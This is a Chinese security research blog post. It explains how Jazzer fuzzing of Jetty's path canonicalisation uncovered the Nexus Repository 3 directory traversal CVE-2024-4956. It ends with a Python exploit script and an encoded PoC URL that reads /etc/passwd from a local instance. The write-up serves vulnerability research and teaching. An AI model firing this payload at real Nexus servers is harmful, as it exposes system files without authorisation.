通过 Java Fuzzing 挖掘 Nexus Repository 3 目录穿越漏洞 (CVE-2024-4956)

通过 Java Fuzzing 挖掘 Nexus Repository 3 目录穿越漏洞 (CVE-2024-4956)

前言

很久之前和朋友一起挖某 SRC 的时候遇到过开放在公网的 Nexus 仓库, 但是当时也没从仓库公开的 jar 包内找到什么敏感信息, 最后也就作罢

上周三看到了赛博昆仑的漏洞通告之后想起来这件事情, 于是就花了一点时间简单分析了这个漏洞, 最后结合 Jazzer 这个 Java Fuzzing 框架得到了 PoC

这篇文章其实发的有点晚了, 不过由于自己最近也在做 Fuzzing 相关的工作, 而且 @evilpan 师傅之前也分享过 Java Fuzzing 的文章, 于是我也打算借这个目录穿越简单分享下 Java Fuzzing 在漏洞挖掘中的应用

https://evilpan.com/2023/09/09/java-fuzzing/

漏洞点

https://mp.weixin.qq.com/s/7kAEwB_FcQ2KLeiIfh0dxg

https://support.sonatype.com/hc/en-us/articles/29412417068819-Mitigations-for-CVE-2024-4956-Nexus-Repository-3-Vulnerability

先说下怎么拿源码和调试

1
2
docker pull sonatype/nexus3:3.68.0-java8
docker pull sonatype/nexus3:3.68.1-java8

把镜像内的 /opt/sonatype/nexus 目录复制出来

然后把目录下的所有 jar 都复制到同一目录下, 方便 IDEA 添加依赖

1
find . -name "*.jar" -exec cp {} all-lib/ \;

docker 调试

1
docker run -d -p 8081:8081 -p 5005:5005 --name nexus -e INSTALL4J_ADD_VM_PARAMS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005" sonatype/nexus3:3.68.0-java8

对比 nexus-base-xxx.jar, 可以发现漏洞点位于 WebResourceServiceImpl

另外官方通告提到了 reourceBase, 位于 jetty.xml

这个其实也很容易理解, 当用户访问的 URL 没有命中任何 Servlet 时, 会 fallback 到这个 public 目录

public 目录下存放的都是些静态文件, 例如 robots.txt 以及各种图片 (favicon)

随便打几个断点, 经过一些简单的动态调试, 可以发现 WebResourceServlet 会调用 WebResourceServiceImpl 的 getResource 方法

org.sonatype.nexus.internal.webresources.WebResourceServlet

这里传入的 path 不能以 / 结尾, 否则就会在后面加上 index.html, 后续在 Fuzzing 的时候需要注意这个点

org.sonatype.nexus.internal.webresources.WebResourceServiceImpl#getResource

getResource 方法会通过三种不同的方式获取资源文件

  1. devModeResources: 需要手动启用开发者模式, 内部维护了一个 resourceLocations 列表, 默认为空
  2. resourcePaths: 即 static 目录下的各种 js 文件和图片

  1. this.servletContext: 即 org.eclipse.jetty.webapp.WebAppContext, 通过 Jetty 的 WebAppContext 获取资源文件

经过测试可以发现如果我们访问 public 目录下的文件, 例如 robots.txt, 则会 fallback 到第三种方式, 也就是 org.eclipse.jetty.webapp.WebAppContext#getResource

这里其实就已经到了 Jetty 自身的逻辑, 跟 Nexus 没有关系了

直接给出调用栈

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<init>:261, PathResource (org.eclipse.jetty.util.resource)
addPath:380, PathResource (org.eclipse.jetty.util.resource)
getResource:1958, ContextHandler (org.eclipse.jetty.server.handler)
getResource:389, WebAppContext (org.eclipse.jetty.webapp)
getResource:1562, WebAppContext$Context (org.eclipse.jetty.webapp)
getResource:127, WebResourceServiceImpl (org.sonatype.nexus.internal.webresources)
doGet:98, WebResourceServlet (org.sonatype.nexus.internal.webresources)
service:687, HttpServlet (javax.servlet.http)
service:790, HttpServlet (javax.servlet.http)
doServiceImpl:293, ServletDefinition (com.google.inject.servlet)
doService:283, ServletDefinition (com.google.inject.servlet)
service:184, ServletDefinition (com.google.inject.servlet)
service:71, DynamicServletPipeline (com.google.inject.servlet)
doFilter:85, FilterChainInvocation (com.google.inject.servlet)
doFilter:61, ProxiedFilterChain (org.apache.shiro.web.servlet)
executeChain:108, AdviceFilter (org.apache.shiro.web.servlet)
doFilterInternal:137, AdviceFilter (org.apache.shiro.web.servlet)
doFilter:154, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:66, ProxiedFilterChain (org.apache.shiro.web.servlet)
executeChain:108, AdviceFilter (org.apache.shiro.web.servlet)
doFilterInternal:137, AdviceFilter (org.apache.shiro.web.servlet)
doFilter:154, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:66, ProxiedFilterChain (org.apache.shiro.web.servlet)
executeChain:458, AbstractShiroFilter (org.apache.shiro.web.servlet)
executeChain:96, SecurityFilter (org.sonatype.nexus.security)
call:373, AbstractShiroFilter$1 (org.apache.shiro.web.servlet)
doCall:90, SubjectCallable (org.apache.shiro.subject.support)
call:83, SubjectCallable (org.apache.shiro.subject.support)
execute:387, DelegatingSubject (org.apache.shiro.subject.support)
doFilterInternal:370, AbstractShiroFilter (org.apache.shiro.web.servlet)
doFilterInternal:112, SecurityFilter (org.sonatype.nexus.security)
doFilter:154, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:112, AbstractInstrumentedFilter (com.codahale.metrics.servlet)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:116, LicensingRedirectFilter (com.sonatype.nexus.licensing.internal)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:112, AbstractInstrumentedFilter (com.codahale.metrics.servlet)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:79, ErrorPageFilter (org.sonatype.nexus.internal.web)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:101, EnvironmentFilter (org.sonatype.nexus.internal.web)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:98, HeaderPatternFilter (org.sonatype.nexus.internal.web)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
dispatch:104, DynamicFilterPipeline (com.google.inject.servlet)
doFilter:133, GuiceFilter (com.google.inject.servlet)
doFilter:73, DelegatingFilter (org.sonatype.nexus.bootstrap.osgi)
doFilter:201, FilterHolder (org.eclipse.jetty.servlet)
doFilter:1626, ServletHandler$Chain (org.eclipse.jetty.servlet)
doHandle:552, ServletHandler (org.eclipse.jetty.servlet)
handle:143, ScopedHandler (org.eclipse.jetty.server.handler)
handle:600, SecurityHandler (org.eclipse.jetty.security)
handle:127, HandlerWrapper (org.eclipse.jetty.server.handler)
nextHandle:235, ScopedHandler (org.eclipse.jetty.server.handler)
doHandle:1624, SessionHandler (org.eclipse.jetty.server.session)
nextHandle:233, ScopedHandler (org.eclipse.jetty.server.handler)
doHandle:1440, ContextHandler (org.eclipse.jetty.server.handler)
nextScope:188, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:505, ServletHandler (org.eclipse.jetty.servlet)
doScope:1594, SessionHandler (org.eclipse.jetty.server.session)
nextScope:186, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:1355, ContextHandler (org.eclipse.jetty.server.handler)
handle:141, ScopedHandler (org.eclipse.jetty.server.handler)
handle:127, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:239, InstrumentedHandler (com.codahale.metrics.jetty9)
handle:146, HandlerCollection (org.eclipse.jetty.server.handler)
handle:127, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:516, Server (org.eclipse.jetty.server)
lambda$handle$1:487, HttpChannel (org.eclipse.jetty.server)
dispatch:-1, 1026407993 (org.eclipse.jetty.server.HttpChannel$$Lambda$1934)
dispatch:732, HttpChannel (org.eclipse.jetty.server)
handle:479, HttpChannel (org.eclipse.jetty.server)
onFillable:277, HttpConnection (org.eclipse.jetty.server)
succeeded:311, AbstractConnection$ReadCallback (org.eclipse.jetty.io)
fillable:105, FillInterest (org.eclipse.jetty.io)
run:104, ChannelEndPoint$1 (org.eclipse.jetty.io)
runTask:338, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
doProduce:315, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
tryProduce:173, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
run:131, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
run:409, ReservedThreadExecutor$ReservedThread (org.eclipse.jetty.util.thread)
runJob:883, QueuedThreadPool (org.eclipse.jetty.util.thread)
run:1034, QueuedThreadPool$Runner (org.eclipse.jetty.util.thread)
run:750, Thread (java.lang)

几个关键的地方

首先 path 必须以 / 开头

然后会通过 PathResource 的 addPath 方法拼接路径

addPath 方法内部会先使用 URIUtil.canonicalPath 方法进行路径标准化, 如果标准化的结果为 null, 则会抛出异常

然后会将原来的 subPath 传入 PathResource 构造函数, 得到一个新的资源路径

注意 canonicalPath 的结果并不会传入 PathResource 的构造函数, 也就是说这个过程只是个 check 而不是 sanitize

再看这个方法的具体实现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
public static String canonicalPath(String path) {
    if (path != null && !path.isEmpty()) {
        boolean slash = true;
        int end = path.length();

        int i;
        label68:
        for(i = 0; i < end; ++i) {
            char c = path.charAt(i);
            switch (c) {
                case '.':
                    if (slash) {
                        break label68;
                    }

                    slash = false;
                    break;
                case '/':
                    slash = true;
                    break;
                default:
                    slash = false;
            }
        }

        if (i == end) {
            return path;
        } else {
            StringBuilder canonical = new StringBuilder(path.length());
            canonical.append(path, 0, i);
            int dots = 1;
            ++i;

            for(; i < end; ++i) {
                char c = path.charAt(i);
                switch (c) {
                    case '.':
                        if (dots > 0) {
                            ++dots;
                        } else if (slash) {
                            dots = 1;
                        } else {
                            canonical.append('.');
                        }

                        slash = false;
                        continue;
                    case '/':
                        if (doDotsSlash(canonical, dots)) {
                            return null;
                        }

                        slash = true;
                        dots = 0;
                        continue;
                }

                while(dots-- > 0) {
                    canonical.append('.');
                }

                canonical.append(c);
                dots = 0;
                slash = false;
            }

            if (doDots(canonical, dots)) {
                return null;
            } else {
                return canonical.toString();
            }
        }
    } else {
        return path;
    }
}

这个方法如何进行路径标准化? 在什么情况下会返回 null? 可以通过以下几个 demo 直观地感受一下

1
2
3
4
5
URIUtil.canonicalPath("/robots.txt"); // /robots.txt
URIUtil.canonicalPath("/./etc/passwd"); // /etc/passwd
URIUtil.canonicalPath("/etc/a/b/c/../../../passwd"); // /etc/passwd
URIUtil.canonicalPath("/../etc/passwd"); // null
URIUtil.canonicalPath("/../../../etc/passwd"); // null

当传入的路径跳出了当前的根目录时, canonicalPath 会返回 null, 看起来是为了预防目录穿越的情况

说实话第一眼看过去我也不能立刻就想到有什么可以绕过的方法, 但是我们可以把上面这一系列的逻辑从 Jetty 中抽离出来, 使用 Fuzzing 的思路进行测试

Fuzzing

https://github.com/CodeIntelligenceTesting/jazzer

Jazzer 是一个基于 libfuzzer 的 Fuzzing 框架, 同时也被集成进了 Google 的 OSS-Fuzz

关于 libfuzzer 的使用可以参考 Google 的 fuzzing 教程

https://github.com/google/fuzzing/blob/master/tutorial/libFuzzerTutorial.md

Jazzer 本质上其实还是 libfuzzer 的套壳, 但是它针对 Java 语言层面主要做了如下的改进 (基于 Java Agent)

  1. 覆盖率插桩: 生成数据流图 (Control Flow Graph, CFG), 在每条边 (Edge) 上插入记录当前位置覆盖率的方法调用 (CoverageMap.recordCoverage)
  2. 数据流插桩: Hook 常见 Java 数据类型的比较方法 (例如 compare, indexOf, startsWith), 以及底层 JVM opcode, 将跟踪 (trace) 数据发送至 libfuzzer, 用于 fuzz 数据的 mutate
  3. 敏感函数 (Sink) 插桩: Hook 常见的危险函数 (例如 Runtime.exec, InitialContext.lookup, Statement.execute) 并检测是否存在危险逻辑, 思路其实与 RASP 类似

感兴趣的的师傅可以参考如下几篇文章, 以及 Jazzer 项目的源代码

https://www.code-intelligence.com/blog/java-fuzzing-with-jazzer

https://www.code-intelligence.com/blog/how-to-write-fuzz-targets-for-java-applications

https://www.code-intelligence.com/blog/on-the-fuzzing-hook

在 fuzz 之前我们需要编写 Test Harness, 即定义一个 fuzzerTestOneInput 方法, 然后在内部调用被 fuzz 的特定方法

对于这个漏洞而言, Test Harness 就是我们上述需要从 Jetty 中抽离出来的逻辑

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package fuzz;

import com.code_intelligence.jazzer.api.FuzzedDataProvider;
import com.code_intelligence.jazzer.api.FuzzerSecurityIssueCritical;
import com.code_intelligence.jazzer.api.Jazzer;
import org.eclipse.jetty.util.URIUtil;
import org.eclipse.jetty.util.resource.PathResource;

import java.net.URI;

public class Main {
    public static void fuzzerTestOneInput(FuzzedDataProvider data) {
        String path = data.consumeRemainingAsAsciiString();
        if (!path.startsWith("/")) return;
        if (URIUtil.canonicalPath(path) == null) return;
        if (path.endsWith("/")) return;
        if (!path.endsWith("/etc/passwd")) return;

        try {
            PathResource parent = new PathResource(new URI("file:///a/b/c/d"));
            PathResource child = (PathResource) parent.addPath(path);

            if (child.getPath().normalize().toString().equals("/etc/passwd")) {
                Jazzer.reportFindingFromHook(new FuzzerSecurityIssueCritical("success"));
            }
        } catch (Exception e) {
            // ignore
        }
    }
}

开头前面的几个 if 用于限制 fuzz 数据的范围, 后续就是通过 PathResource 拼接路径的过程

如果拼接后的路径在 normalize 之后等于 /etc/passwd, 那么就可以大概率认为这个数据是有效的, 然后会抛出 FuzzerSecurityIssueCritical 异常以中止 fuzz 流程

将 harness 和 Jetty 依赖打包至同一个 jar 内, 然后运行 Jazzer

1
./jazzer --cp="JettyFuzz.jar" --target_class="fuzz.Main" -use_value_profile=1

等待一会即可得到结果

当然直接用这个路径访问肯定是不行的, 因为 Jetty 会在 Servlet 处理之前对这种畸形 URL 进行一些标准化操作, 导致最终 Servlet 接收到的路径不是我们原来的路径, 解决方法是将路径完全 URL 编码后再发送

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import requests

def urlencode(data):
    enc_data = ''
    for i in data:
        h = str(hex(ord(i))).replace('0x', '')
        if len(h) == 1:
            enc_data += '%0' + h.upper()
        else:
            enc_data += '%' + h.upper()
    return enc_data

payload = '///..//.//..///..//.././etc/passwd'

url = 'http://127.0.0.1:8081/' + urlencode(payload)
res = requests.get(url)
print(url)
print(res.text)

最终 PoC

1
http://127.0.0.1:8081/%2F%2F%2F%2E%2E%2F%2F%2E%2F%2F%2E%2E%2F%2F%2F%2E%2E%2F%2F%2E%2E%2F%2E%2F%65%74%63%2F%70%61%73%73%77%64

完整 harness 代码: https://github.com/X1r0z/JettyFuzz

尽管如此, 上述的 fuzz 过程其实还是存在一些问题

  1. harness 经过一定的简化, 其实并不能完全还原实际场景 (如果想要做到完全还原, 那么相应的 fuzz 效率也会变低, 需要消耗更多的时间)

  2. 因为上面这一点, 所以 fuzz 出来的 payload 有几率出现误报, 可能需要跑多次 fuzz 拿到多个结果再进行测试

但总的来说, Java Fuzzing 技术在漏洞挖掘的过程中也还是能起到一定的帮助作用, 例如这种复杂/畸形路径的构建, 或是 @evilpan 师傅在文章中提到的特定 IP 导致的鉴权绕过

0%